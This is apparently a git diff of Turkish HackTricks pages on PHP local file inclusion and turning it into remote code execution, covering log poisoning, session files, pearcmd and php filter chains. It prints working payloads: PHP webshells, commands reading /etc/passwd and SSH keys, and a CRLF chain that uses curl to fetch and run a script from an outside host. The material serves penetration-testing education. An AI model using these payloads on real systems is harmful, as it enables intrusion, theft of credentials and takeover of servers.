- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen yol adlarını bulma (yazdırılabilir hiçbir şey döndürmüyor, bu yüzden burada pek kullanışlı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (keyfi dosyaları okumak için kullanışlı değil)
## LFI via PHP's 'assert'
## PHP'nin 'assert' ile LFI
PHP'de 'assert' fonksiyonu ile ilişkili Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü assert string içindeki kodu çalıştırabilir. Bu, özellikle ".." gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün şekilde sanitize edilmezse sorun yaratır.
PHP'de 'assert' fonksiyonuyla çalışırken Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü 'assert' string içindeki kodu çalıştırabilir. Bu, özellikle '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün temizlenmiyorsa problem yaratır.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bu, traversal'ı engellemeyi amaçlasa da kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak amacıyla bunu sömürmek için bir saldırgan şunu kullanabilir:
Bu, traversal'ı durdurmayı amaçlasa da istemeden code injection için bir vektör oluşturuyor. Dosya içeriğini okumak için bunu exploit etmek isteyen bir saldırgan şunu kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Benzer şekilde, keyfi sistem komutlarını çalıştırmak için şunu kullanabilirsiniz:
Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şu kullanılabilir:
```plaintext
' and die(system("id")) or '
```
Bu **payloads**'ı **URL-encode** etmek önemlidir.
Bu payload'ları **URL-encode** etmek önemlidir.
## PHP Blind Path Traversal
> [!WARNING]
> Bu teknik, **dosya yolunu kontrol ettiğiniz** ve **bir PHP fonksiyonunun** **bir dosyaya erişeceği** ama dosyanın içeriğini görmeyeceğiniz durumlarda geçerlidir (örneğin basit bir çağrı olan **`file()`**) ancak içerik gösterilmez.
> Bu teknik, bir **PHP fonksiyonunun** erişeceği **dosya yolunu** siz **kontrol ettiğiniz** ama dosya içeriğini göremeyeceğiniz durumlarda geçerlidir (ör. basit bir **`file()`** çağrısı gibi) ancak içerik gösterilmez.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Özetle, teknik dosyanın içeriğini çok **büyük** hale getirmek için **"UCS-4LE" encoding** kullanıyor, böylece dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecek.
Özetle, teknik, dosya içeriğini o kadar **büyük** yapmak için **"UCS-4LE" encoding** kullanır ki dosyayı açan **PHP fonksiyonu** bir **hata** tetikler.
Sonra, ilk char'ı leak etmek için filtre **dechunk** diğerleriyle birlikte (ör. **base64**, **rot13**) kullanılır ve son olarak filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **başka karakterleri başa yerleştirip leak etmek** sağlanır.
Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi, **base64** veya **rot13** gibi diğer filtrelerle birlikte kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri başka karakterleri başa yerleştirmek ve onları leak etmek için kullanılır.
**Zafiyetli olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Zayıf olabilecek fonksiyonlar: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Teknik detaylar için bahsedilen yazıya bakın!
Teknik detaylar için belirtilen gönderiye bakın!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Sunucu tarafı kodu, yüklenen/işlenen dosyaların hedef yolunu kullanıcı kontrollü veri (ör. bir filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler hedeflenen dizinden kaçabilir ve arbitrary file write'e neden olabilir. Payload'ı web-exposed bir dizine koyabiliyorsanız genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Tipik istismar akışı:
- Bir endpoint veya background worker içinde path/filename kabul eden ve içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
- Web-exposed dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Hedef depolama dizininden webroot'a çıkacak şekilde bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
- Bıraktığınız payload'a tarayıcıyla gidin ve komutları çalıştırın.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Notlar:
- Yazmayı gerçekleştiren vulnerable servis non-HTTP porta dinliyor olabilir (ör. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve edecektir.
- Java stack'lerinde bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Kanonikleştirme/allow-listing eksikliği temel hata nedenidir.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Bu tür hataları bertaraf eden sertleştirmeler:
- Yolu kanonik hale getirin ve bunun izinli bir temel dizinin (allow-listed base directory) alt dizini olduğunu zorunlu kılın.
- `..`, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; tercih olarak oluşturulmuş dosya adlarını kullanın.
- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın.
Hardening that defeats this class of bugs:
- Kanonik bir yola çözümleyin ve bunun izin verilen (allow-listed) bir temel dizinin alt dizini olduğunu zorunlu kılın.
- `..`, mutlak kök yolları (absolute roots) veya sürücü harfleri (drive letters) içeren herhangi bir yolu reddedin; bunun yerine oluşturulmuş dosya adlarını tercih edin.
- Yazma işlemini düşük ayrıcalıklı bir hesapla çalıştırın ve yazma dizinlerini servis edilen kök dizinlerden ayırın.
## Remote File Inclusion
Daha önce açıklandı, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Apache/Nginx günlük dosyası aracılığıyla
### Via Apache/Nginx log file
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**'a erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine **`<?php system($_GET['c']); ?>`** gibi bir php shell koyup o dosyayı include edebilirsiniz.
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
> [!WARNING]
> Shell için **çift tırnak** kullanırsanız (tek tırnak yerine), çift tırnaklar "_**quote;**_" stringine dönüşecek, **PHP bir hata fırlatacak** ve **başka hiçbir şey yürütülmeyecek**.
> Dikkat: **eğer shell için çift tırnak kullanırsanız** tek tırnak yerine, çift tırnaklar "_**quote;**_" stringi için değiştirilecektir, orada **PHP hata fırlatacaktır** ve **başka hiçbir şey yürütülmeyecektir**.
>
> Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacak.
> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi halde PHP, log dosyasını yüklemeye çalıştıkça hata verecek ve ikinci bir fırsatınız olmayacaktır.
Bu işlem diğer loglarda da yapılabilir fakat **dikkatli olun,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 olarak "user:password" içerir ve loglar içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\
Diğer olası log yolları:
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,35 +501,35 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### E-posta ile
**Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin `<?php echo system($_REQUEST["cmd"]); ?>`, ve kullanıcının postasını **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile include etmeyi deneyin.
**Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcının mailini aşağıdaki gibi bir yol ile include etmeyi deneyin: **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`**
### Üzerinden /proc/\*/fd/\*
### /proc/*/fd/* üzerinden
1. Çok sayıda shell yükleyin (örneğin: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID işlemin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile bulunabilir)
1. Çok sayıda shells yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin; burada $PID süreç PID'si (brute forced ile bulunabilir) ve $FD file descriptor'dır (o da brute forced ile bulunabilir)
### Üzerinden /proc/self/environ
### /proc/self/environ üzerinden
Bir log dosyası gibi, payload'u User-Agent içinde gönderin; /proc/self/environ dosyasında yansıyacaktır.
Bir log dosyası gibi, payload'u User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıtılacaktır.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Yükleme yoluyla
### Yükleme ile
Bir dosya yükleyebiliyorsanız, içine sadece shell payload'u enjekte edin (ör.: `<?php system($_GET['c']); ?>` ).
Bir dosya yükleyebiliyorsanız, içine shell payload'unu enjekte edin (ör. : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'lerin üstverilerine enjekte etmek en iyisidir
Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin metadata'sına enjekte etmek en iyisidir
### Zip dosyası yükleyerek
### ZIP dosyası yüklemesi ile
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP sessions aracılığıyla
### PHP oturumları üzerinden
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin
```
@ -541,45 +541,45 @@ PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Cookie'yi `<?php system('cat /etc/passwd');?>` olarak ayarlayın
Cookie'yi şu değere ayarlayın `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI'yi kullanarak PHP session fileyi include edin.
PHP session file'ını include etmek için LFI'yi kullanın.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh ile
### ssh üzerinden
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa** dosyasına erişmeye çalışın
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa**'ye erişmeyi dene.
### **Üzerinden** **vsftpd** _**logları**_
### **Üzerinden** **vsftpd** _**günlükleri**_
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumunda bulunur. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
FTP sunucusu vsftpd için günlükler _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusu mevcutsa, aşağıdaki adımlar düşünülebilir:
1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
2. Enjeksiyondan sonra, sunucu loglarını almak için LFI'yi kullanın: _**/var/log/vsftpd.log**_.
1. Giriş işlemi sırasında username alanına bir PHP payload enjekte et.
2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu günlüklerini _**/var/log/vsftpd.log**_ dosyasından çek.
### php base64 filter (base64 kullanarak)
### php base64 filtresi ile (base64 kullanarak)
Bu [bu makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter Non-base64'i yoksayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 verirseniz, filtre "."'ı yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
Bu [makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter sadece Non-base64 karakterlerini yok sayar. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsin: eğer sonu ".php" ile biten base64 sağlarsan, filter "." karakterini yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (dosya gerekmez)
### php filters ile (dosya gerekmez)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) ıklar ki **php filters ile rastgele içerik üretilebilir** çıktı olarak. Bu temelde, include için **rastgele php kodu üretebileceğiniz** anlamına gelir **bunu bir dosyaya yazmanıza gerek kalmadan**.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) php filters kullanarak çıktı olarak **rastgele içerik üretebileceğinizi**ıklar. Bu, temelde include için **rastgele php kodu üretebileceğiniz** ve bunu bir dosyaya yazmanız **gerekmeyeceği** anlamına gelir.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Segmentation fault ile
### segmentation fault ile
**Yükleyin** `/tmp` içinde **geçici** olarak saklanacak bir dosyayı, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
**Bir dosya yükleyin**; bu dosya `/tmp` içinde **geçici** olarak saklanacaktır, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
{{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
### Nginx temp file storage ile
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle **RCE** elde edebilirsiniz:
{{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir **Local File Inclusion** bulduysanız, hatta **session'a sahip olmasanız** ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **session'ı sizin için etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız, hatta **oturumunuz yoksa** ve `session.auto_start` `Off` ise. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için suistimal edebilirsiniz:
{{#ref}}
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
### Windows'ta temp file uploads ile
Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde edebilirsiniz:
{{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### `pearcmd.php` + URL args ile
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` php docker images içinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtildiği için script'e URL üzerinden argüman geçirmek mümkündür. Ayrıca bakınız [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Ayrıca, URL üzerinden script'e argüman geçirmek mümkündür çünkü eğer bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bakınız [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
Aşağıdaki istek `/tmp/hello.php` içinde `<?=phpinfo()?>` içeriğiyle bir dosya oluşturur:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Aşağıdaki, bir CRLF vuln kullanarak RCE elde ediyor (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Aşağıdaki, RCE elde etmek için bir CRLF zafiyetini suistimal eder (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### phpinfo() ile (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()** ile file_uploads = on gösteren bir dosya varsa RCE elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve file_uploads = on olan **phpinfo()** gösteren bir dosya varsa RCE elde edebilirsiniz:
{{#ref}}
@ -639,32 +639,32 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile
Eğer bir **Local File Inclusion** bulduysanız ve temp dosyanın path'ini exfiltrate edebiliyorsanız AMA **server** dahil edilecek dosyanın **PHP marks** olup olmadığını kontrol ediyorsa, bu kontrolü bu **Race Condition** ile atlamayı deneyebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **can exfiltrate the path** edebiliyorsanız ANCAK **server** **checking** yapıp **file to be included has PHP marks** olup olmadığını kontrol ediyorsa, bu **bypass that check** için bu **Race Condition**'ı deneyebilirsiniz:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Sonsuz bekleme + bruteforce ile
### eternal waiting + bruteforce ile
Eğer LFI'yi kötüye kullanarak geçici dosyalar yükleyebiliyor ve server'ın PHP yürütmesini takılmaya (hang) zorlayabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya adlarını **brute force** edebilirsiniz:
Eğer LFI'yi kötüye kullanarak **upload temporary files** yapabiliyor ve server'ın PHP yürütmesini **hang** ettirebiliyorsanız, geçici dosyayı bulmak için saatlerce **brute force filenames during hours** deneyebilirsiniz:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Fatal Error'a
### To Fatal Error
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor).
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekiyor).
**Bunun ne kadar faydalı olduğunu bilmiyorum ama işe yarayabilir.**\
_PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._
_PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Referanslar
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

View File

@ -5,36 +5,36 @@
## Giriş
Bu [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklıyor ki **php filters** ile çıktı olarak rastgele içerik üretebilirsiniz. Bu temelde include için **rastgele php kodu üretebileceğiniz** anlamına gelir; bunu bir dosyaya **yazmanız gerekmeksizin** yapabilirsiniz.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
Temelde scriptin amacı, dosyanın **başında** yer alacak bir **Base64** stringi **oluşturarak**, en sonunda decode edilip istenen payload'u sağlayacak ve bu payload `include` tarafından **yorumlanacak** olmasıdır.
Temelde scriptin amacı, include tarafından yorumlanacak istediğimiz payload'u sağlayacak şekilde dosyanın başında son olarak decode edilecek bir Base64 string üretmektir — bunu bir dosyaya yazmaya ihtiyaç olmadan yapmak.
Bunu yapmak için temel noktalar:
Bunu yapmanın temelleri:
- `convert.iconv.UTF8.CSISO2022KR` her zaman stringin başına `\x1b$)C` ekler
- `convert.base64-decode` son derece toleranslıdır; geçerli base64 olmayan karakterleri neredeyse tamamen yok sayar. Beklenmeyen "=" ile karşılaşırsa bazı sorunlar çıkarabilir, ancak bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir.
- `convert.iconv.UTF8.CSISO2022KR` her zaman stringin başına `\x1b$)C` ekleyecektir
- `convert.base64-decode` oldukça toleranslıdır, temel olarak geçerli base64 olmayan karakterleri yok sayar. Beklenmeyen "=" ile karşılaşırsa bazı sorunlara yol açabilir, ama bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir.
Rastgele içerik üretmek için döngü şudur:
Rastgele içerik üretmek için döngü:
1. Yukarıda açıklandığı gibi stringimizin başına `\x1b$)C` ekle
2. İlk base64'imizi bozmayan ve az önce eklediğimiz kısmı, içinde geçerli tek base64 karakteri base64 ile kodlanmış php kodumuzun sonraki parçası olan bir stringe dönüştüren bir iconv dönüşümleri zinciri uygula
3. Stringi base64-decode ve base64-encode et; bu aradaki çöp karakterleri kaldırır
4. Oluşturmak istediğimiz base64 henüz tamamlanmadıysa 1'e geri dön
5. php kodumuzu elde etmek için base64-decode et
1. yukarıda açıklandığı gibi stringimizin başına `\x1b$)C` ekleyin
2. ilk base64'imizi bozmayan ve eklediğimiz kısmı, tek geçerli base64 karakterinin base64 ile kodlanmış php kodumuzun bir sonraki parçası olduğu bir stringe dönüştüren bir dizi iconv dönüşümü uygulayın
3. stringi base64-decode edip tekrar base64-encode edin; bu aradaki gereksiz karakterleri kaldırır
4. oluşturmak istediğimiz base64 bitmediyse 1'e dönün
5. php kodumuzu elde etmek için base64-decode yapın
> [!WARNING]
> **Includes** genelde dosyanın sonuna **".php" eklemek** gibi işlemler yapar; bu da istismarı zorlaştırabilir çünkü exploit'i öldürmeyen bir .php dosyası bulmanız gerekir... veya **kaynak olarak `php://temp` kullanabilirsiniz** çünkü isimde **herhangi bir şeyin eklenmesine izin verir** (ör. +".php") ve exploit yine de çalışmaya devam eder!
> **Includes** genellikle dosyanın sonuna **".php" eklemek** gibi işlemler yapar; bu, exploit'ü gerçekleştirmeyi zorlaştırabilir çünkü exploit'i bozmayacak bir .php dosyası bulmanız gerekir... veya **kaynak olarak `php://temp` kullanabilirsiniz** çünkü ismin sonuna her türlü şeyi eklemeye izin verir (ör. +".php") ve yine de exploit çalışacaktır!
## Elde edilen veriye nasıl sonek eklenir
## Sonuç veriye ayrıca sonekler nasıl eklenir
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHP filtrelerini kullanarak elde edilen string'e sonek eklemenin nasıl istismar edilebileceğini açıklıyor. Bu, çıktının belirli bir formata (ör. json veya bazı PNG magic byte'ları eklemek gibi) sahip olması gerektiğinde çok işe yarar.
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) nasıl PHP filters'ı istismar ederek sonuç stringine sonekler ekleyebileceğinizi açıklar. Bu, çıktının belirli bir formatta olması gerektiğinde (ör. json veya bazı PNG magic byte'larını eklemek gibi) çok kullanışlıdır.
## Otomatik Araçlar
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Tam script
## Full script
```python
import requests
@ -96,7 +96,7 @@ print(r.text)
```
### İyileştirmeler
Önceki script, o payload için gerekli base64 karakterleriyle sınırlıydı. Bu nedenle, tüm base64 karakterlerini **bruteforce** etmek için kendi scriptimi hazırladım:
Önceki betik, o payload için gerekli base64 karakterleriyle sınırlıydı. Bu yüzden, tüm base64 karakterlerini **bruteforce** etmek için kendi betiğimi oluşturdum:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -165,7 +165,7 @@ conversions = {
'=': ''
}
```
Her b64 harfini üreten kodlamaları elde etmek için işte **script**:
Her b64 harfini oluşturan kodlamaları elde etmek için işte **script**:
```php
<?php
@ -251,7 +251,7 @@ find_vals($init);
}
?>
```
## Daha Fazla Referans
## Diğer Kaynaklar
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## Dosya Yükleme Genel Yöntemi
## Dosya Yükleme Genel Metodoloji
Diğer yararlı uzantılar:
Diğer faydalı uzantılar:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
